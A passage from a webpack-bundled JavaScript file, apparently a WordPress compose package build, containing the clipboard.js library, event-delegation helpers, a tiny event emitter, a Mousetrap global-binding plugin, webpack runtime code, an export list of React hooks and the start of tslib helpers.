1228 throw new Error('Invalid "action" value, use either "copy" or "cut"');
1229 } // Sets the `target` property using an element that will be have its content copied.
1230
1231
1232 if (target !== undefined) {
1233 if (target && _typeof(target) === 'object' && target.nodeType === 1) {
1234 if (action === 'copy' && target.hasAttribute('disabled')) {
1235 throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');
1236 }
1237
1238 if (action === 'cut' && (target.hasAttribute('readonly') || target.hasAttribute('disabled'))) {
1239 throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');
1240 }
1241 } else {
1242 throw new Error('Invalid "target" value, use a valid Element');
1243 }
1244 } // Define selection strategy based on `text` property.
1245
1246
1247 if (text) {
1248 return actions_copy(text, {
1249 container: container
1250 });
1251 } // Defines which selection strategy based on `target` property.
1252
1253
1254 if (target) {
1255 return action === 'cut' ? actions_cut(target) : actions_copy(target, {
1256 container: container
1257 });
1258 }
1259};
1260
1261/* harmony default export */ var actions_default = (ClipboardActionDefault);
1262;// CONCATENATED MODULE: ./src/clipboard.js
1263function clipboard_typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { clipboard_typeof = function _typeof(obj) { return typeof obj; }; } else { clipboard_typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return clipboard_typeof(obj); }
1264
1265function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
1266
1267function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }
1268
1269function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }
1270
1271function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }
1272
1273function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }
1274
1275function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }
1276
1277function _possibleConstructorReturn(self, call) { if (call && (clipboard_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }
1278
1279function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }
1280
1281function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }
1282
1283function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }
1284
1285
1286
1287
1288
1289
1290/**
1291 * Helper function to retrieve attribute value.
1292 * @param {String} suffix
1293 * @param {Element} element
1294 */
1295
1296function getAttributeValue(suffix, element) {
1297 var attribute = "data-clipboard-".concat(suffix);
1298
1299 if (!element.hasAttribute(attribute)) {
1300 return;
1301 }
1302
1303 return element.getAttribute(attribute);
1304}
1305/**
1306 * Base class which takes one or more elements, adds event listeners to them,
1307 * and instantiates a new `ClipboardAction` on each click.
1308 */
1309
1310
1311var Clipboard = /*#__PURE__*/function (_Emitter) {
1312 _inherits(Clipboard, _Emitter);
1313
1314 var _super = _createSuper(Clipboard);
1315
1316 /**
1317 * @param {String|HTMLElement|HTMLCollection|NodeList} trigger
1318 * @param {Object} options
1319 */
1320 function Clipboard(trigger, options) {
1321 var _this;
1322
1323 _classCallCheck(this, Clipboard);
1324
1325 _this = _super.call(this);
1326
1327 _this.resolveOptions(options);
1328
1329 _this.listenClick(trigger);
1330
1331 return _this;
1332 }
1333 /**
1334 * Defines if attributes would be resolved using internal setter functions
1335 * or custom functions that were passed in the constructor.
1336 * @param {Object} options
1337 */
1338
1339
1340 _createClass(Clipboard, [{
1341 key: "resolveOptions",
1342 value: function resolveOptions() {
1343 var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
1344 this.action = typeof options.action === 'function' ? options.action : this.defaultAction;
1345 this.target = typeof options.target === 'function' ? options.target : this.defaultTarget;
1346 this.text = typeof options.text === 'function' ? options.text : this.defaultText;
1347 this.container = clipboard_typeof(options.container) === 'object' ? options.container : document.body;
1348 }
1349 /**
1350 * Adds a click event listener to the passed trigger.
1351 * @param {String|HTMLElement|HTMLCollection|NodeList} trigger
1352 */
1353
1354 }, {
1355 key: "listenClick",
1356 value: function listenClick(trigger) {
1357 var _this2 = this;
1358
1359 this.listener = listen_default()(trigger, 'click', function (e) {
1360 return _this2.onClick(e);
1361 });
1362 }
1363 /**
1364 * Defines a new `ClipboardAction` on each click event.
1365 * @param {Event} e
1366 */
1367
1368 }, {
1369 key: "onClick",
1370 value: function onClick(e) {
1371 var trigger = e.delegateTarget || e.currentTarget;
1372 var action = this.action(trigger) || 'copy';
1373 var text = actions_default({
1374 action: action,
1375 container: this.container,
1376 target: this.target(trigger),
1377 text: this.text(trigger)
1378 }); // Fires an event based on the copy operation result.
1379
1380 this.emit(text ? 'success' : 'error', {
1381 action: action,
1382 text: text,
1383 trigger: trigger,
1384 clearSelection: function clearSelection() {
1385 if (trigger) {
1386 trigger.focus();
1387 }
1388
1389 window.getSelection().removeAllRanges();
1390 }
1391 });
1392 }
1393 /**
1394 * Default `action` lookup function.
1395 * @param {Element} trigger
1396 */
1397
1398 }, {
1399 key: "defaultAction",
1400 value: function defaultAction(trigger) {
1401 return getAttributeValue('action', trigger);
1402 }
1403 /**
1404 * Default `target` lookup function.
1405 * @param {Element} trigger
1406 */
1407
1408 }, {
1409 key: "defaultTarget",
1410 value: function defaultTarget(trigger) {
1411 var selector = getAttributeValue('target', trigger);
1412
1413 if (selector) {
1414 return document.querySelector(selector);
1415 }
1416 }
1417 /**
1418 * Allow fire programmatically a copy action
1419 * @param {String|HTMLElement} target
1420 * @param {Object} options
1421 * @returns Text copied.
1422 */
1423
1424 }, {
1425 key: "defaultText",
1426
1427 /**
1428 * Default `text` lookup function.
1429 * @param {Element} trigger
1430 */
1431 value: function defaultText(trigger) {
1432 return getAttributeValue('text', trigger);
1433 }
1434 /**
1435 * Destroy lifecycle.
1436 */
1437
1438 }, {
1439 key: "destroy",
1440 value: function destroy() {
1441 this.listener.destroy();
1442 }
1443 }], [{
1444 key: "copy",
1445 value: function copy(target) {
1446 var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {
1447 container: document.body
1448 };
1449 return actions_copy(target, options);
1450 }
1451 /**
1452 * Allow fire programmatically a cut action
1453 * @param {String|HTMLElement} target
1454 * @returns Text cutted.
1455 */
1456
1457 }, {
1458 key: "cut",
1459 value: function cut(target) {
1460 return actions_cut(target);
1461 }
1462 /**
1463 * Returns the support of the given action, or all actions if no action is
1464 * given.
1465 * @param {String} [action]
1466 */
1467
1468 }, {
1469 key: "isSupported",
1470 value: function isSupported() {
1471 var action = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ['copy', 'cut'];
1472 var actions = typeof action === 'string' ? [action] : action;
1473 var support = !!document.queryCommandSupported;
1474 actions.forEach(function (action) {
1475 support = support && !!document.queryCommandSupported(action);
1476 });
1477 return support;
1478 }
1479 }]);
1480
1481 return Clipboard;
1482}((tiny_emitter_default()));
1483
1484/* harmony default export */ var clipboard = (Clipboard);
1485
1486/***/ }),
1487
1488/***/ 828:
1489/***/ (function(module) {
1490
1491var DOCUMENT_NODE_TYPE = 9;
1492
1493/**
1494 * A polyfill for Element.matches()
1495 */
1496if (typeof Element !== 'undefined' && !Element.prototype.matches) {
1497 var proto = Element.prototype;
1498
1499 proto.matches = proto.matchesSelector ||
1500 proto.mozMatchesSelector ||
1501 proto.msMatchesSelector ||
1502 proto.oMatchesSelector ||
1503 proto.webkitMatchesSelector;
1504}
1505
1506/**
1507 * Finds the closest parent that matches a selector.
1508 *
1509 * @param {Element} element
1510 * @param {String} selector
1511 * @return {Function}
1512 */
1513function closest (element, selector) {
1514 while (element && element.nodeType !== DOCUMENT_NODE_TYPE) {
1515 if (typeof element.matches === 'function' &&
1516 element.matches(selector)) {
1517 return element;
1518 }
1519 element = element.parentNode;
1520 }
1521}
1522
1523module.exports = closest;
1524
1525
1526/***/ }),
1527
1528/***/ 438:
1529/***/ (function(module, __unused_webpack_exports, __nested_webpack_require_15749__) {
1530
1531var closest = __nested_webpack_require_15749__(828);
1532
1533/**
1534 * Delegates event to a selector.
1535 *
1536 * @param {Element} element
1537 * @param {String} selector
1538 * @param {String} type
1539 * @param {Function} callback
1540 * @param {Boolean} useCapture
1541 * @return {Object}
1542 */
1543function _delegate(element, selector, type, callback, useCapture) {
1544 var listenerFn = listener.apply(this, arguments);
1545
1546 element.addEventListener(type, listenerFn, useCapture);
1547
1548 return {
1549 destroy: function() {
1550 element.removeEventListener(type, listenerFn, useCapture);
1551 }
1552 }
1553}
1554
1555/**
1556 * Delegates event to a selector.
1557 *
1558 * @param {Element|String|Array} [elements]
1559 * @param {String} selector
1560 * @param {String} type
1561 * @param {Function} callback
1562 * @param {Boolean} useCapture
1563 * @return {Object}
1564 */
1565function delegate(elements, selector, type, callback, useCapture) {
1566 // Handle the regular Element usage
1567 if (typeof elements.addEventListener === 'function') {
1568 return _delegate.apply(null, arguments);
1569 }
1570
1571 // Handle Element-less usage, it defaults to global delegation
1572 if (typeof type === 'function') {
1573 // Use `document` as the first parameter, then apply arguments
1574 // This is a short way to .unshift `arguments` without running into deoptimizations
1575 return _delegate.bind(null, document).apply(null, arguments);
1576 }
1577
1578 // Handle Selector-based usage
1579 if (typeof elements === 'string') {
1580 elements = document.querySelectorAll(elements);
1581 }
1582
1583 // Handle Array-like based usage
1584 return Array.prototype.map.call(elements, function (element) {
1585 return _delegate(element, selector, type, callback, useCapture);
1586 });
1587}
1588
1589/**
1590 * Finds closest match and invokes callback.
1591 *
1592 * @param {Element} element
1593 * @param {String} selector
1594 * @param {String} type
1595 * @param {Function} callback
1596 * @return {Function}
1597 */
1598function listener(element, selector, type, callback) {
1599 return function(e) {
1600 e.delegateTarget = closest(e.target, selector);
1601
1602 if (e.delegateTarget) {
1603 callback.call(element, e);
1604 }
1605 }
1606}
1607
1608module.exports = delegate;
1609
1610
1611/***/ }),
1612
1613/***/ 879:
1614/***/ (function(__unused_webpack_module, exports) {
1615
1616/**
1617 * Check if argument is a HTML element.
1618 *
1619 * @param {Object} value
1620 * @return {Boolean}
1621 */
1622exports.node = function(value) {
1623 return value !== undefined
1624 && value instanceof HTMLElement
1625 && value.nodeType === 1;
1626};
1627
1628/**
1629 * Check if argument is a list of HTML elements.
1630 *
1631 * @param {Object} value
1632 * @return {Boolean}
1633 */
1634exports.nodeList = function(value) {
1635 var type = Object.prototype.toString.call(value);
1636
1637 return value !== undefined
1638 && (type === '[object NodeList]' || type === '[object HTMLCollection]')
1639 && ('length' in value)
1640 && (value.length === 0 || exports.node(value[0]));
1641};
1642
1643/**
1644 * Check if argument is a string.
1645 *
1646 * @param {Object} value
1647 * @return {Boolean}
1648 */
1649exports.string = function(value) {
1650 return typeof value === 'string'
1651 || value instanceof String;
1652};
1653
1654/**
1655 * Check if argument is a function.
1656 *
1657 * @param {Object} value
1658 * @return {Boolean}
1659 */
1660exports.fn = function(value) {
1661 var type = Object.prototype.toString.call(value);
1662
1663 return type === '[object Function]';
1664};
1665
1666
1667/***/ }),
1668
1669/***/ 370:
1670/***/ (function(module, __unused_webpack_exports, __nested_webpack_require_19113__) {
1671
1672var is = __nested_webpack_require_19113__(879);
1673var delegate = __nested_webpack_require_19113__(438);
1674
1675/**
1676 * Validates all params and calls the right
1677 * listener function based on its target type.
1678 *
1679 * @param {String|HTMLElement|HTMLCollection|NodeList} target
1680 * @param {String} type
1681 * @param {Function} callback
1682 * @return {Object}
1683 */
1684function listen(target, type, callback) {
1685 if (!target && !type && !callback) {
1686 throw new Error('Missing required arguments');
1687 }
1688
1689 if (!is.string(type)) {
1690 throw new TypeError('Second argument must be a String');
1691 }
1692
1693 if (!is.fn(callback)) {
1694 throw new TypeError('Third argument must be a Function');
1695 }
1696
1697 if (is.node(target)) {
1698 return listenNode(target, type, callback);
1699 }
1700 else if (is.nodeList(target)) {
1701 return listenNodeList(target, type, callback);
1702 }
1703 else if (is.string(target)) {
1704 return listenSelector(target, type, callback);
1705 }
1706 else {
1707 throw new TypeError('First argument must be a String, HTMLElement, HTMLCollection, or NodeList');
1708 }
1709}
1710
1711/**
1712 * Adds an event listener to a HTML element
1713 * and returns a remove listener function.
1714 *
1715 * @param {HTMLElement} node
1716 * @param {String} type
1717 * @param {Function} callback
1718 * @return {Object}
1719 */
1720function listenNode(node, type, callback) {
1721 node.addEventListener(type, callback);
1722
1723 return {
1724 destroy: function() {
1725 node.removeEventListener(type, callback);
1726 }
1727 }
1728}
1729
1730/**
1731 * Add an event listener to a list of HTML elements
1732 * and returns a remove listener function.
1733 *
1734 * @param {NodeList|HTMLCollection} nodeList
1735 * @param {String} type
1736 * @param {Function} callback
1737 * @return {Object}
1738 */
1739function listenNodeList(nodeList, type, callback) {
1740 Array.prototype.forEach.call(nodeList, function(node) {
1741 node.addEventListener(type, callback);
1742 });
1743
1744 return {
1745 destroy: function() {
1746 Array.prototype.forEach.call(nodeList, function(node) {
1747 node.removeEventListener(type, callback);
1748 });
1749 }
1750 }
1751}
1752
1753/**
1754 * Add an event listener to a selector
1755 * and returns a remove listener function.
1756 *
1757 * @param {String} selector
1758 * @param {String} type
1759 * @param {Function} callback
1760 * @return {Object}
1761 */
1762function listenSelector(selector, type, callback) {
1763 return delegate(document.body, selector, type, callback);
1764}
1765
1766module.exports = listen;
1767
1768
1769/***/ }),
1770
1771/***/ 817:
1772/***/ (function(module) {
1773
1774function select(element) {
1775 var selectedText;
1776
1777 if (element.nodeName === 'SELECT') {
1778 element.focus();
1779
1780 selectedText = element.value;
1781 }
1782 else if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {
1783 var isReadOnly = element.hasAttribute('readonly');
1784
1785 if (!isReadOnly) {
1786 element.setAttribute('readonly', '');
1787 }
1788
1789 element.select();
1790 element.setSelectionRange(0, element.value.length);
1791
1792 if (!isReadOnly) {
1793 element.removeAttribute('readonly');
1794 }
1795
1796 selectedText = element.value;
1797 }
1798 else {
1799 if (element.hasAttribute('contenteditable')) {
1800 element.focus();
1801 }
1802
1803 var selection = window.getSelection();
1804 var range = document.createRange();
1805
1806 range.selectNodeContents(element);
1807 selection.removeAllRanges();
1808 selection.addRange(range);
1809
1810 selectedText = selection.toString();
1811 }
1812
1813 return selectedText;
1814}
1815
1816module.exports = select;
1817
1818
1819/***/ }),
1820
1821/***/ 279:
1822/***/ (function(module) {
1823
1824function E () {
1825 // Keep this empty so it's easier to inherit from
1826 // (via https://github.com/lipsmack from https://github.com/scottcorgan/tiny-emitter/issues/3)
1827}
1828
1829E.prototype = {
1830 on: function (name, callback, ctx) {
1831 var e = this.e || (this.e = {});
1832
1833 (e[name] || (e[name] = [])).push({
1834 fn: callback,
1835 ctx: ctx
1836 });
1837
1838 return this;
1839 },
1840
1841 once: function (name, callback, ctx) {
1842 var self = this;
1843 function listener () {
1844 self.off(name, listener);
1845 callback.apply(ctx, arguments);
1846 };
1847
1848 listener._ = callback
1849 return this.on(name, listener, ctx);
1850 },
1851
1852 emit: function (name) {
1853 var data = [].slice.call(arguments, 1);
1854 var evtArr = ((this.e || (this.e = {}))[name] || []).slice();
1855 var i = 0;
1856 var len = evtArr.length;
1857
1858 for (i; i < len; i++) {
1859 evtArr[i].fn.apply(evtArr[i].ctx, data);
1860 }
1861
1862 return this;
1863 },
1864
1865 off: function (name, callback) {
1866 var e = this.e || (this.e = {});
1867 var evts = e[name];
1868 var liveEvents = [];
1869
1870 if (evts && callback) {
1871 for (var i = 0, len = evts.length; i < len; i++) {
1872 if (evts[i].fn !== callback && evts[i].fn._ !== callback)
1873 liveEvents.push(evts[i]);
1874 }
1875 }
1876
1877 // Remove event from queue to prevent memory leak
1878 // Suggested by https://github.com/lazd
1879 // Ref: https://github.com/scottcorgan/tiny-emitter/commit/c6ebfaa9bc973b33d110a84a307742b7cf94c953#commitcomment-5024910
1880
1881 (liveEvents.length)
1882 ? e[name] = liveEvents
1883 : delete e[name];
1884
1885 return this;
1886 }
1887};
1888
1889module.exports = E;
1890module.exports.TinyEmitter = E;
1891
1892
1893/***/ })
1894
1895/******/ });
1896/************************************************************************/
1897/******/ // The module cache
1898/******/ var __webpack_module_cache__ = {};
1899/******/
1900/******/ // The require function
1901/******/ function __nested_webpack_require_24495__(moduleId) {
1902/******/ // Check if module is in cache
1903/******/ if(__webpack_module_cache__[moduleId]) {
1904/******/ return __webpack_module_cache__[moduleId].exports;
1905/******/ }
1906/******/ // Create a new module (and put it into the cache)
1907/******/ var module = __webpack_module_cache__[moduleId] = {
1908/******/ // no module.id needed
1909/******/ // no module.loaded needed
1910/******/ exports: {}
1911/******/ };
1912/******/
1913/******/ // Execute the module function
1914/******/ __webpack_modules__[moduleId](module, module.exports, __nested_webpack_require_24495__);
1915/******/
1916/******/ // Return the exports of the module
1917/******/ return module.exports;
1918/******/ }
1919/******/
1920/************************************************************************/
1921/******/ /* webpack/runtime/compat get default export */
1922/******/ !function() {
1923/******/ // getDefaultExport function for compatibility with non-harmony modules
1924/******/ __nested_webpack_require_24495__.n = function(module) {
1925/******/ var getter = module && module.__esModule ?
1926/******/ function() { return module['default']; } :
1927/******/ function() { return module; };
1928/******/ __nested_webpack_require_24495__.d(getter, { a: getter });
1929/******/ return getter;
1930/******/ };
1931/******/ }();
1932/******/
1933/******/ /* webpack/runtime/define property getters */
1934/******/ !function() {
1935/******/ // define getter functions for harmony exports
1936/******/ __nested_webpack_require_24495__.d = function(exports, definition) {
1937/******/ for(var key in definition) {
1938/******/ if(__nested_webpack_require_24495__.o(definition, key) && !__nested_webpack_require_24495__.o(exports, key)) {
1939/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
1940/******/ }
1941/******/ }
1942/******/ };
1943/******/ }();
1944/******/
1945/******/ /* webpack/runtime/hasOwnProperty shorthand */
1946/******/ !function() {
1947/******/ __nested_webpack_require_24495__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
1948/******/ }();
1949/******/
1950/************************************************************************/
1951/******/ // module exports must be returned from runtime so entry inlining is disabled
1952/******/ // startup
1953/******/ // Load entry module and return exports
1954/******/ return __nested_webpack_require_24495__(686);
1955/******/ })()
1956.default;
1957});
1958
1959/***/ }),
1960
1961/***/ 5760:
1962/***/ (() => {
1963
1964/**
1965 * adds a bindGlobal method to Mousetrap that allows you to
1966 * bind specific keyboard shortcuts that will still work
1967 * inside a text input field
1968 *
1969 * usage:
1970 * Mousetrap.bindGlobal('ctrl+s', _saveChanges);
1971 */
1972/* global Mousetrap:true */
1973(function(Mousetrap) {
1974 if (! Mousetrap) {
1975 return;
1976 }
1977 var _globalCallbacks = {};
1978 var _originalStopCallback = Mousetrap.prototype.stopCallback;
1979
1980 Mousetrap.prototype.stopCallback = function(e, element, combo, sequence) {
1981 var self = this;
1982
1983 if (self.paused) {
1984 return true;
1985 }
1986
1987 if (_globalCallbacks[combo] || _globalCallbacks[sequence]) {
1988 return false;
1989 }
1990
1991 return _originalStopCallback.call(self, e, element, combo);
1992 };
1993
1994 Mousetrap.prototype.bindGlobal = function(keys, callback, action) {
1995 var self = this;
1996 self.bind(keys, callback, action);
1997
1998 if (keys instanceof Array) {
1999 for (var i = 0; i < keys.length; i++) {
2000 _globalCallbacks[keys[i]] = true;
2001 }
2002 return;
2003 }
2004
2005 _globalCallbacks[keys] = true;
2006 };
2007
2008 Mousetrap.init();
2009}) (typeof Mousetrap !== "undefined" ? Mousetrap : undefined);
2010
2011
2012/***/ })
2013
2014/******/ });
2015/************************************************************************/
2016/******/ // The module cache
2017/******/ var __webpack_module_cache__ = {};
2018/******/
2019/******/ // The require function
2020/******/ function __webpack_require__(moduleId) {
2021/******/ // Check if module is in cache
2022/******/ var cachedModule = __webpack_module_cache__[moduleId];
2023/******/ if (cachedModule !== undefined) {
2024/******/ return cachedModule.exports;
2025/******/ }
2026/******/ // Create a new module (and put it into the cache)
2027/******/ var module = __webpack_module_cache__[moduleId] = {
2028/******/ // no module.id needed
2029/******/ // no module.loaded needed
2030/******/ exports: {}
2031/******/ };
2032/******/
2033/******/ // Execute the module function
2034/******/ __webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
2035/******/
2036/******/ // Return the exports of the module
2037/******/ return module.exports;
2038/******/ }
2039/******/
2040/************************************************************************/
2041/******/ /* webpack/runtime/compat get default export */
2042/******/ (() => {
2043/******/ // getDefaultExport function for compatibility with non-harmony modules
2044/******/ __webpack_require__.n = (module) => {
2045/******/ var getter = module && module.__esModule ?
2046/******/ () => (module['default']) :
2047/******/ () => (module);
2048/******/ __webpack_require__.d(getter, { a: getter });
2049/******/ return getter;
2050/******/ };
2051/******/ })();
2052/******/
2053/******/ /* webpack/runtime/define property getters */
2054/******/ (() => {
2055/******/ // define getter functions for harmony exports
2056/******/ __webpack_require__.d = (exports, definition) => {
2057/******/ for(var key in definition) {
2058/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
2059/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
2060/******/ }
2061/******/ }
2062/******/ };
2063/******/ })();
2064/******/
2065/******/ /* webpack/runtime/hasOwnProperty shorthand */
2066/******/ (() => {
2067/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
2068/******/ })();
2069/******/
2070/******/ /* webpack/runtime/make namespace object */
2071/******/ (() => {
2072/******/ // define __esModule on exports
2073/******/ __webpack_require__.r = (exports) => {
2074/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
2075/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
2076/******/ }
2077/******/ Object.defineProperty(exports, '__esModule', { value: true });
2078/******/ };
2079/******/ })();
2080/******/
2081/************************************************************************/
2082var __webpack_exports__ = {};
2083// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
2084(() => {
2085"use strict";
2086// ESM COMPAT FLAG
2087__webpack_require__.r(__webpack_exports__);
2088
2089// EXPORTS
2090__webpack_require__.d(__webpack_exports__, {
2091 __experimentalUseDialog: () => (/* reexport */ use_dialog_default),
2092 __experimentalUseDragging: () => (/* reexport */ useDragging),
2093 __experimentalUseDropZone: () => (/* reexport */ useDropZone),
2094 __experimentalUseFixedWindowList: () => (/* reexport */ useFixedWindowList),
2095 __experimentalUseFocusOutside: () => (/* reexport */ useFocusOutside),
2096 compose: () => (/* reexport */ compose_default),
2097 createHigherOrderComponent: () => (/* reexport */ createHigherOrderComponent),
2098 debounce: () => (/* reexport */ debounce),
2099 ifCondition: () => (/* reexport */ if_condition_default),
2100 observableMap: () => (/* reexport */ observableMap),
2101 pipe: () => (/* reexport */ pipe_default),
2102 pure: () => (/* reexport */ pure_default),
2103 throttle: () => (/* reexport */ throttle),
2104 useAsyncList: () => (/* reexport */ use_async_list_default),
2105 useConstrainedTabbing: () => (/* reexport */ use_constrained_tabbing_default),
2106 useCopyOnClick: () => (/* reexport */ useCopyOnClick),
2107 useCopyToClipboard: () => (/* reexport */ useCopyToClipboard),
2108 useDebounce: () => (/* reexport */ useDebounce),
2109 useDebouncedInput: () => (/* reexport */ useDebouncedInput),
2110 useDisabled: () => (/* reexport */ useDisabled),
2111 useEvent: () => (/* reexport */ useEvent),
2112 useFocusOnMount: () => (/* reexport */ useFocusOnMount),
2113 useFocusReturn: () => (/* reexport */ use_focus_return_default),
2114 useFocusableIframe: () => (/* reexport */ useFocusableIframe),
2115 useInstanceId: () => (/* reexport */ use_instance_id_default),
2116 useIsomorphicLayoutEffect: () => (/* reexport */ use_isomorphic_layout_effect_default),
2117 useKeyboardShortcut: () => (/* reexport */ use_keyboard_shortcut_default),
2118 useMediaQuery: () => (/* reexport */ useMediaQuery),
2119 useMergeRefs: () => (/* reexport */ useMergeRefs),
2120 useObservableValue: () => (/* reexport */ useObservableValue),
2121 usePrevious: () => (/* reexport */ usePrevious),
2122 useReducedMotion: () => (/* reexport */ use_reduced_motion_default),
2123 useRefEffect: () => (/* reexport */ useRefEffect),
2124 useResizeObserver: () => (/* reexport */ use_resize_observer_useResizeObserver),
2125 useStateWithHistory: () => (/* reexport */ useStateWithHistory),
2126 useThrottle: () => (/* reexport */ useThrottle),
2127 useViewportMatch: () => (/* reexport */ use_viewport_match_default),
2128 useWarnOnChange: () => (/* reexport */ use_warn_on_change_default),
2129 withGlobalEvents: () => (/* reexport */ withGlobalEvents),
2130 withInstanceId: () => (/* reexport */ with_instance_id_default),
2131 withSafeTimeout: () => (/* reexport */ with_safe_timeout_default),
2132 withState: () => (/* reexport */ withState)
2133});
2134
2135;// ./node_modules/tslib/tslib.es6.mjs
2136/******************************************************************************
2137Copyright (c) Microsoft Corporation.
2138
2139Permission to use, copy, modify, and/or distribute this software for any
2140purpose with or without fee is hereby granted.
2141
2142THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
2143REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
2144AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
2145INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
2146LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
2147OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
2148PERFORMANCE OF THIS SOFTWARE.
2149***************************************************************************** */
2150/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
2151
2152var extendStatics = function(d, b) {
2153 extendStatics = Object.setPrototypeOf ||
2154 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
2155 function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
2156 return extendStatics(d, b);
2157};
2158
2159function __extends(d, b) {
2160 if (typeof b !== "function" && b !== null)
2161 throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
2162 extendStatics(d, b);
2163 function __() { this.constructor = d; }
2164 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
2165}
2166
2167var __assign = function() {
2168 __assign = Object.assign || function __assign(t) {
2169 for (var s, i = 1, n = arguments.length; i < n; i++) {
2170 s = arguments[i];
2171 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
2172 }
2173 return t;
2174 }
2175 return __assign.apply(this, arguments);
2176}
2177
2178function __rest(s, e) {
2179 var t = {};
2180 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
2181 t[p] = s[p];
2182 if (s != null && typeof Object.getOwnPropertySymbols === "function")
2183 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
2184 if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
2185 t[p[i]] = s[p[i]];
2186 }
2187 return t;
2188}
2189
2190function __decorate(decorators, target, key, desc) {
2191 var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
2192 if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
2193 else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
2194 return c > 3 && r && Object.defineProperty(target, key, r), r;
2195}
2196
2197function __param(paramIndex, decorator) {
2198 return function (target, key) { decorator(target, key, paramIndex); }
2199}
2200
2201function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
2202 function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
2203 var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
2204 var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
2205 var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
2206 var _, done = false;
2207 for (var i = decorators.length - 1; i >= 0; i--) {
2208 var context = {};
2209 for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
2210 for (var p in contextIn.access) context.access[p] = contextIn.access[p];
2211 context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
2212 var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
2213 if (kind === "accessor") {
2214 if (result === void 0) continue;
2215 if (result === null || typeof result !== "object") throw new TypeError("Object expected");
